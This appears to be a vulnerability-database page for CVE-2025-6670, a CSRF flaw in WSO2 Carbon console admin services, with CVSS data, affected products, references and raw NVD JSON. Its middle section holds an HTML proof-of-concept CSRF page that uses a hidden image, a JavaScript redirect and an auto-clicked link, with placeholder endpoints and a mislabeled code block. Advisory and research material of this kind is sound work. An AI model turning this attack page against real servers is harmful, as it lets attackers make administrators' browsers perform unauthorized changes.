CVE-2025-6670

Description

A Cross-Site Request Forgery (CSRF) vulnerability exists in multiple WSO2 products due to the use of the HTTP GET method for state-changing operations within admin services, specifically in the event processor of the Carbon console. Although the SameSite=Lax cookie attribute is used as a mitigation, it is ineffective in this context because it allows cookies to be sent with cross-origin top-level navigations using GET requests. A malicious actor can exploit this vulnerability by tricking an authenticated user into visiting a crafted link, leading the browser to issue unintended state-changing requests. Successful exploitation could result in unauthorized operations such as data modification, account changes, or other administrative actions. According to WSO2 Secure Production Guidelines, exposure of Carbon console services to untrusted networks is discouraged, which may reduce the impact in properly secured deployments.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:wso2:api_control_plane:4.5.0:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:wso2:api_control_plane:4.6.0:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:wso2:api_manager:3.1.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:wso2:api_manager:3.2.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:wso2:api_manager:3.2.1:*:*:*:*:*:*:* - VULNERABLE

WSO2 Carbon 4.x系列多个产品受影响

具体受影响的WSO2产品版本需参考官方安全公告 WSO2-2025-4117

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-6670 -->
<!-- WSO2 Carbon console event processor state-changing operation via GET -->

<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack PoC - CVE-2025-6670</title>
</head>
<body>
    <h1>CVE-2025-6670 CSRF PoC</h1>
    <p>WSO2 Carbon Console Event Processor CSRF Attack</p>
    
    <!-- Method 1: Using img tag for cross-origin GET request -->
    <h2>Attack Vector 1: Image Tag</h2>
    <img src="https://target-wso2-server:9443/carbon/event-processor/.../state-change-endpoint?param=value" 
         width="0" height="0" border="0">
    
    <!-- Method 2: Using JavaScript for automatic request -->
    <h2>Attack Vector 2: JavaScript Auto Request</h2>
    <script>
        // Target WSO2 Carbon console event processor endpoint
        const targetUrl = 'https://target-wso2-server:9443/carbon/event-processor/admin/state-change-operation';
        
        // Automatically send GET request (bypasses SameSite=Lax due to top-level navigation)
        window.location.href = targetUrl + '?action=malicious_action&param=value';
        
        // Alternative: Using prefetch
        // const link = document.createElement('link');
        // link.rel = 'prefetch';
        // link.href = targetUrl + '?action=malicious_action';
        // document.head.appendChild(link);
    </script>
    
    <!-- Method 3: Using form auto-submission (though GET is used here) -->
    <h2>Attack Vector 3: Hidden Link Click Simulation</h2>
    <a id="attackLink" href="https://target-wso2-server:9443/carbon/event-processor/...">Trigger</a>
    <script>
        // Auto-click the link to trigger navigation
        document.getElementById('attackLink').click();
    </script>
    
    <p>Note: This PoC demonstrates the CSRF vulnerability. The actual endpoint and parameters 
    should be identified from the vulnerable WSO2 Carbon console installation.</p>
</body>
</html>

<!-- Attack Flow:
1. Attacker identifies vulnerable WSO2 Carbon console endpoint using GET for state changes
2. Attacker creates malicious page with crafted URL
3. Authenticated user visits the malicious page
4. Browser automatically sends GET request to target with user's cookies
5. Server processes request as legitimate user action
6. Unauthorized state change occurs
-->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-6670
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-6670
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-6670/
[4] VulDB https://vuldb.com/cve/CVE-2025-6670
[5] https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2025/WSO2-2025-4117/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-6670", "sourceIdentifier": "ed10eef1-636d-4fbe-9993-6890dfa878f8", "published": "2025-11-18T12:15:46.420", "lastModified": "2025-12-08T14:00:21.493", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Cross-Site Request Forgery (CSRF) vulnerability exists in multiple WSO2 products due to the use of the HTTP GET method for state-changing operations within admin services, specifically in the event processor of the Carbon console. Although the SameSite=Lax cookie attribute is used as a mitigation, it is ineffective in this context because it allows cookies to be sent with cross-origin top-level navigations using GET requests.\n\nA malicious actor can exploit this vulnerability by tricking an authenticated user into visiting a crafted link, leading the browser to issue unintended state-changing requests. Successful exploitation could result in unauthorized operations such as data modification, account changes, or other administrative actions. According to WSO2 Secure Production Guidelines, exposure of Carbon console services to untrusted networks is discouraged, which may reduce the impact in properly secured deployments."}], "metrics": {"cvssMetricV31": [{"source": "ed10eef1-636d-4fbe-9993-6890dfa878f8", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "ed10eef1-636d-4fbe-9993-6890dfa878f8", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_control_plane:4.5.0:-:*:*:*:*:*:*", "matchCriteriaId": "DEEA7DB5-BBF7-44A4-9FB6-0D235A44C680"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_control_plane:4.6.0:-:*:*:*:*:*:*", "matchCriteriaId": "95D688C7-D22B-4CF9-A522-1ADB71D2B7C7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:3.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "1344FB79-0796-445C-A8F3-C03E995925D1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:3.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "E31E32CD-497E-4EF5-B3FC-8718EE06EDAD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:3.2.1:*:*:*:*:*:*:*", "matchCriteriaId": "B58251E8-606B-47C8-8E50-9F9FC8C179BD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:4.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "E21D7ABF-C328-425D-B914-618C7628220B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:4.1.0:-:*:*:*:*:*:*", "matchCriteriaId": "51465410-6B7C-40FD-A1AB-A14F650A6AC8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:4.2.0:-:*:*:*:*:*:*", "matchCriteriaId": "851470CC-22AB-43E4-9CC6-5E22D49B3572"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:4.3.0:-:*:*:*:*:*:*", "matchCriteriaId": "9EBAB99E-6F0F-4CE9-A954-E8878826304C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:4.4.0:-:*:*:*:*:*:*", "matchCriteriaId": "0B3E6207-B2CF-487C-9CB8-906248B665C9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:4.5.0:-:*:*:*:*:*:*", "matchCriteriaId": "D47B760D-5418-4FB0-88F0-3F78BAFF63E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:4.6.0:-:*:*:*:*:*:*", "matchCriteriaId": "AD918BEC-B79C-45F1-9E44-7276BFD49B96"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:enterprise_integrator:6.6.0:*:*:*:*:*:*:*", "matchCriteriaId": "E4A07C73-3E6B-4CF9-BEB9-39C6081C0332"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:identity_server:5.10.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4F126CA-A2F9-44F4-968B-DF71765869E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:identity_server:5.11.0:*:*:*:*:*:*:*", "matchCriteriaId": "2153AECE-020A-4C01-B2A6-F9F5D98E7EBE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:identity_server:6.0.0:-:*:*:*:*:*:*", "matchCriteriaId": "32CE7893-AD1A-49E5-BD1A-5E9C2DEB8764"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:identity_server:6.1.0:-:*:*:*:*:*:*", "matchCriteriaId": "EA76533A-5BED-4BDC-B348-EB3D3FDFB110"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:identity_server:7.0.0:-:*:*:*:*:*:*", "matchCriteriaId": "C1EFBD0F-9664-4EF3-9908-C72B1318F68F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:identity_server:7.1.0:-:*:*:*:*:*:*", "matchCriteriaId": "A5358E6E-8C01-408D-8692-B1A326DC630F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:identity_server:7.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "B2548396-1EA6-4934-AF37-BD1A69D5B63B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:identity_server_as_key_manager:5.10.0:*:*:*:*:*:*:*", "matchCriteriaId": "6BB34405-A2F1-461A-B51B-E10

... (truncated)